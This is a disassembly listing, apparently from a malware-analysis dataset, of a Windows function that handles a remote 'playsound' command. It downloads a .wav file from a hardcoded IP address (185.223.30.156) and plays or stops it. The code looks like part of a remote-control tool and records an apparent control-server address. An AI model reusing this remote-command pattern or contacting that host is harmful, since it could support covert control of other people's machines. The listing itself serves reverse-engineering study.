Function at 0x14000a430
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x1400420c0]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rbx, r8
mov rdi, rdx
mov qword [rsp + 0x68], rdx
xor r13d, r13d
mov rdx, qword [r8]
mov rcx, qword [r8 + 8]
sub rcx, rdx
sar rcx, 5
cmp rcx, 2
je 0x14000a4a4
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], r13
lea r8d, [r13 + 0x2d]
lea rdx, str.Use_format:_playsound__fileName___startstop_
mov rcx, rdi
call fcn.1400029d0
jmp 0x14000a8dd
lea rcx, [rsp + 0x70]
call fcn.140005c70
nop
mov rcx, qword [rbx]
add rcx, 0x20
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000a4c4
mov rcx, qword [rcx]
cmp r8, 5
jne 0x14000a4df
lea rdx, str.start
call fcn.14002e060
test eax, eax
jne 0x14000a4df
mov r14b, 1
jmp 0x14000a4e2
xor r14b, r14b
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x80]
cmp rcx, 4
jb 0x14000aa69
lea rdx, [rcx + rax]
mov rcx, r13
lea r8, str..wav
nop
movzx eax, byte [rdx + rcx - 4]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14000a52a
cmp rcx, 4
jne 0x14000a510
mov eax, r13d
jmp 0x14000a52f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000aa69
xor edx, edx
xor ecx, ecx
mov r8d, 0x20001
call qword [sym.imp.WINMM.dll_PlaySoundA]
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
lea rax, [rbp + 0xf0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a580
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x70]
call fcn.1400029d0
nop
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x14000a628
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x10]
call fcn.14002dc20
lea rcx, [0x14003b168]
lea rdx, [0x14003b16a]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax - 0x10], 1
inc rcx
cmp rcx, rdx
jne 0x14000a5e0
lea rax, [rsi - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rbx
movzx eax, byte [r8]
cmp byte [rbp + rax - 0x10], 0
jne 0x14000a623
cmp r8, rbx
je 0x14000a628
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax - 0x10], 0
je 0x14000a610
sub r8, rbx
jmp 0x14000a62f
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.1400029d0
nop
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp - 0x20]
sub rax, rcx
cmp rax, 0xa
jb 0x14000aadf
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r9, qword [rbp - 0x30]
mov qword [rsp + 0x30], 0xa
lea rax, str._sound.wav
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x50]
call fcn.140003350
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call fcn.140018ee8
mov rcx, qword [rbp - 0x80]
test r14b, r14b
je 0x14000a962
lea rsi, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rsi, qword [rbp - 0x50]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1d
jb 0x14000aae5
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x1d
lea r9, str.http:__185.223.30.156_Sounds_
lea rcx, [rsp + 0x48]
call fcn.140003350
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, eax
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000a782
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a77d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aaeb
call fcn.14000f4b4
test esi, esi
je 0x14000a906
mov rcx, qword [rbp - 0x80]
sub rbx, rcx
cmp rbx, 0x13
jb 0x14000aaf1
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_send
lea r9, str.Failed_to_download
mov rcx, rdi
call fcn.140003350
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000a809
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000a804
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aaf7
call fcn.14000f4b4
movdqa xmm0, xmmword [0x14003b410]
mov byte [rbp - 0x50], 0
movdqu xmmword [rbp - 0x40], xmm0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000a856
inc rdx
mov rcx, qword [rbp - 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000a850
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aacd
call fcn.14000f4b4
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000a891
inc rdx
mov rcx, qword [rbp - 0x70]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000a88c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aad3
call fcn.14000f4b4
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], send
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000a8dd
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aad9
call fcn.14000f4b4
mov rax, rdi
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14000f210
mov rbx, qword [rsp + 0x340]
add rsp, 0x310
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
xor edx, edx
mov r8d, 0x20001
call qword [sym.imp.WINMM.dll_PlaySoundA]
mov rcx, qword [rbp - 0x80]
sub rbx, rcx
cmp rbx, 0x10
jb 0x14000aaf1
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, str.Started_playing
jmp 0x14000a7c5
sub rbx, rcx
cmp rbx, 0x10
jb 0x14000aaf1
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, str.Stopped_playing
mov rcx, rdi
call fcn.140003350
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000a9dd
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a9d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aaf7
call fcn.14000f4b4
movdqa xmm0, xmmword [0x14003b410]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000aa2a
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aacd
call fcn.14000f4b4
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000a891
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a88c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aad3
jmp 0x14000a88c
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], r13
mov r8d, 0x1c
lea rdx, str.Only_.wav_files_are_allowed_
mov rcx, rdi
call fcn.1400029d0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000a8dd
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aad9
jmp 0x14000a8d8
call fcn.140015f3c
nop
call fcn.140015f3c
nop
call fcn.140015f3c
nop
call fcn.140002010
nop
call fcn.140002010
int3
call fcn.140015f3c
int3
call fcn.140002010
nop
call fcn.140015f3c
int3